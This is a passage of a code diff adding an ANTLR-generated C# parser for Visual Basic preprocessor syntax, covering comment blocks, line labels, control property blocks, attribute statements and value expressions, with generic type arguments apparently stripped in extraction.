+ ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 319; + Match(WS); + } + } + + State = 325; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMENT) { + { + { + State = 322; + commentBlock(); + } + } + State = 327; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 329; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 328; + Match(NEWLINE); + } + } + State = 331; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 336; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & -7340034L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & 509L) != 0)) { + { + { + State = 333; + codeBlock(); + } + } + State = 338; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CommentBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMENT() { return GetTokens(VBPreprocessorsParser.COMMENT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMENT(int i) { + return GetToken(VBPreprocessorsParser.COMMENT, i); + } + public CommentBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_commentBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCommentBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCommentBlock(this); + } + } + + [RuleVersion(0)] + public CommentBlockContext commentBlock() { + CommentBlockContext _localctx = new CommentBlockContext(Context, State); + EnterRule(_localctx, 40, RULE_commentBlock); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 340; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 339; + Match(COMMENT); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 342; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,50,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LineLabelContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LABEL_L() { return GetToken(VBPreprocessorsParser.LABEL_L, 0); } + public LineLabelContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lineLabel; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterLineLabel(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitLineLabel(this); + } + } + + [RuleVersion(0)] + public LineLabelContext lineLabel() { + LineLabelContext _localctx = new LineLabelContext(Context, State); + EnterRule(_localctx, 42, RULE_lineLabel); + try { + EnterOuterAlt(_localctx, 1); + { + State = 344; + Match(LABEL_L); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NonMacroCodeBlockLineContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public NonMacroCodeStmtContext nonMacroCodeStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMENT() { return GetToken(VBPreprocessorsParser.COMMENT, 0); } + public NonMacroCodeBlockLineContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nonMacroCodeBlockLine; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterNonMacroCodeBlockLine(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitNonMacroCodeBlockLine(this); + } + } + + [RuleVersion(0)] + public NonMacroCodeBlockLineContext nonMacroCodeBlockLine() { + NonMacroCodeBlockLineContext _localctx = new NonMacroCodeBlockLineContext(Context, State); + EnterRule(_localctx, 44, RULE_nonMacroCodeBlockLine); + try { + EnterOuterAlt(_localctx, 1); + { + State = 346; + nonMacroCodeStmt(); + State = 348; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,51,Context) ) { + case 1: + { + State = 347; + Match(COMMENT); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NonMacroCodeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_IF() { return GetTokens(VBPreprocessorsParser.MACRO_IF); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_IF(int i) { + return GetToken(VBPreprocessorsParser.MACRO_IF, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_ELSE() { return GetTokens(VBPreprocessorsParser.MACRO_ELSE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSE(int i) { + return GetToken(VBPreprocessorsParser.MACRO_ELSE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_ELSEIF() { return GetTokens(VBPreprocessorsParser.MACRO_ELSEIF); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSEIF(int i) { + return GetToken(VBPreprocessorsParser.MACRO_ELSEIF, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_END_IF() { return GetTokens(VBPreprocessorsParser.MACRO_END_IF); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_END_IF(int i) { + return GetToken(VBPreprocessorsParser.MACRO_END_IF, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] MACRO_CONST() { return GetTokens(VBPreprocessorsParser.MACRO_CONST); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_CONST(int i) { + return GetToken(VBPreprocessorsParser.MACRO_CONST, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMENT() { return GetTokens(VBPreprocessorsParser.COMMENT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMENT(int i) { + return GetToken(VBPreprocessorsParser.COMMENT, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + public NonMacroCodeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nonMacroCodeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterNonMacroCodeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitNonMacroCodeStmt(this); + } + } + + [RuleVersion(0)] + public NonMacroCodeStmtContext nonMacroCodeStmt() { + NonMacroCodeStmtContext _localctx = new NonMacroCodeStmtContext(Context, State); + EnterRule(_localctx, 46, RULE_nonMacroCodeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 351; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 350; + _la = TokenStream.LA(1); + if ( _la <= 0 || ((((_la) & ~0x3f) == 0 && ((1L << _la) & 7864322L) != 0) || _la==NEWLINE || _la==COMMENT) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 353; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,52,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ControlPropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBPreprocessorsParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlTypeContext cp_ControlType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlIdentifierContext cp_ControlIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBPreprocessorsParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public ControlPropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_controlProperties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterControlProperties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitControlProperties(this); + } + } + + [RuleVersion(0)] + public ControlPropertiesContext controlProperties() { + ControlPropertiesContext _localctx = new ControlPropertiesContext(Context, State); + EnterRule(_localctx, 48, RULE_controlProperties); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 356; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 355; + Match(WS); + } + } + + State = 358; + Match(BEGIN); + State = 359; + Match(WS); + State = 360; + cp_ControlType(); + State = 361; + Match(WS); + State = 362; + cp_ControlIdentifier(); + State = 364; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 363; + Match(WS); + } + } + + State = 367; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 366; + Match(NEWLINE); + } + } + State = 369; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 372; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 371; + cp_Properties(); + } + } + State = 374; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + State = 376; + Match(END); + State = 380; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,57,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 377; + Match(NEWLINE); + } + } + } + State = 382; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,57,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public Cp_NestedPropertyContext cp_NestedProperty() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + public Cp_PropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_Properties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_Properties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_Properties(this); + } + } + + [RuleVersion(0)] + public Cp_PropertiesContext cp_Properties() { + Cp_PropertiesContext _localctx = new Cp_PropertiesContext(Context, State); + EnterRule(_localctx, 50, RULE_cp_Properties); + try { + State = 385; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,58,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 383; + cp_NestedProperty(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 384; + controlProperties(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_NestedPropertyContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGINPROPERTY() { return GetToken(VBPreprocessorsParser.BEGINPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENDPROPERTY() { return GetToken(VBPreprocessorsParser.ENDPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBPreprocessorsParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBPreprocessorsParser.INTEGERLITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBPreprocessorsParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GUID() { return GetToken(VBPreprocessorsParser.GUID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBPreprocessorsParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBPreprocessorsParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public Cp_NestedPropertyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_NestedProperty; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_NestedProperty(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_NestedProperty(this); + } + } + + [RuleVersion(0)] + public Cp_NestedPropertyContext cp_NestedProperty() { + Cp_NestedPropertyContext _localctx = new Cp_NestedPropertyContext(Context, State); + EnterRule(_localctx, 52, RULE_cp_NestedProperty); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 388; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 387; + Match(WS); + } + } + + State = 390; + Match(BEGINPROPERTY); + State = 391; + Match(WS); + State = 392; + ambiguousIdentifier(); + State = 396; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 393; + Match(LPAREN); + State = 394; + Match(INTEGERLITERAL); + State = 395; + Match(RPAREN); + } + } + + State = 400; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 398; + Match(WS); + State = 399; + Match(GUID); + } + } + + State = 403; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 402; + Match(NEWLINE); + } + } + State = 405; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 412; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==BEGIN || _la==BEGINPROPERTY || _la==WS) { + { + State = 408; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 407; + cp_Properties(); + } + } + State = 410; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + } + } + + State = 414; + Match(ENDPROPERTY); + State = 416; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 415; + Match(NEWLINE); + } + } + State = 418; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ComplexTypeContext complexType() { + return GetRuleContext(0); + } + public Cp_ControlTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_ControlType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_ControlType(this); + } + } + + [RuleVersion(0)] + public Cp_ControlTypeContext cp_ControlType() { + Cp_ControlTypeContext _localctx = new Cp_ControlTypeContext(Context, State); + EnterRule(_localctx, 54, RULE_cp_ControlType); + try { + EnterOuterAlt(_localctx, 1); + { + State = 420; + complexType(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ComplexTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] DOT() { return GetTokens(VBPreprocessorsParser.DOT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT(int i) { + return GetToken(VBPreprocessorsParser.DOT, i); + } + public ComplexTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_complexType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterComplexType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitComplexType(this); + } + } + + [RuleVersion(0)] + public ComplexTypeContext complexType() { + ComplexTypeContext _localctx = new ComplexTypeContext(Context, State); + EnterRule(_localctx, 56, RULE_complexType); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 422; + ambiguousIdentifier(); + State = 427; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==DOT) { + { + { + State = 423; + Match(DOT); + State = 424; + ambiguousIdentifier(); + } + } + State = 429; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public Cp_ControlIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterCp_ControlIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitCp_ControlIdentifier(this); + } + } + + [RuleVersion(0)] + public Cp_ControlIdentifierContext cp_ControlIdentifier() { + Cp_ControlIdentifierContext _localctx = new Cp_ControlIdentifierContext(Context, State); + EnterRule(_localctx, 58, RULE_cp_ControlIdentifier); + try { + EnterOuterAlt(_localctx, 1); + { + State = 430; + ambiguousIdentifier(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AttributeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ATTRIBUTE() { return GetToken(VBPreprocessorsParser.ATTRIBUTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBPreprocessorsParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext[] literal() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBPreprocessorsParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBPreprocessorsParser.COMMA, i); + } + public AttributeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_attributeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterAttributeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitAttributeStmt(this); + } + } + + [RuleVersion(0)] + public AttributeStmtContext attributeStmt() { + AttributeStmtContext _localctx = new AttributeStmtContext(Context, State); + EnterRule(_localctx, 60, RULE_attributeStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 432; + Match(ATTRIBUTE); + State = 433; + Match(WS); + State = 434; + ambiguousIdentifier(); + State = 436; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 435; + Match(WS); + } + } + + State = 438; + Match(EQ); + State = 440; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 439; + Match(WS); + } + } + + State = 442; + literal(); + State = 453; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==COMMA || _la==WS) { + { + { + State = 444; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 443; + Match(WS); + } + } + + State = 446; + Match(COMMA); + State = 448; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 447; + Match(WS); + } + } + + State = 450; + literal(); + } + } + State = 455; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class IfConditionStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public IfConditionStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ifConditionStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterIfConditionStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitIfConditionStmt(this); + } + } + + [RuleVersion(0)] + public IfConditionStmtContext ifConditionStmt() { + IfConditionStmtContext _localctx = new IfConditionStmtContext(Context, State); + EnterRule(_localctx, 62, RULE_ifConditionStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 456; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ValueStmtContext : ParserRuleContext { + public ValueStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_valueStmt; } } + + public ValueStmtContext() { } + public virtual void CopyFrom(ValueStmtContext context) { + base.CopyFrom(context); + } + } + public partial class VsStructContext : ValueStmtContext { + public ValueStmtContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBPreprocessorsParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBPreprocessorsParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBPreprocessorsParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBPreprocessorsParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBPreprocessorsParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBPreprocessorsParser.COMMA, i); + } + public VsStructContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsStruct(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.ExitVsStruct(this); + } + } + public partial class VsLiteralContext : ValueStmtContext { + public LiteralContext valUnary; + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + public VsLiteralContext(ValueStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBPreprocessorsListener typedListener = listener as IVBPreprocessorsListener; + if (typedListener != null) typedListener.EnterVsLiteral(this); + } + 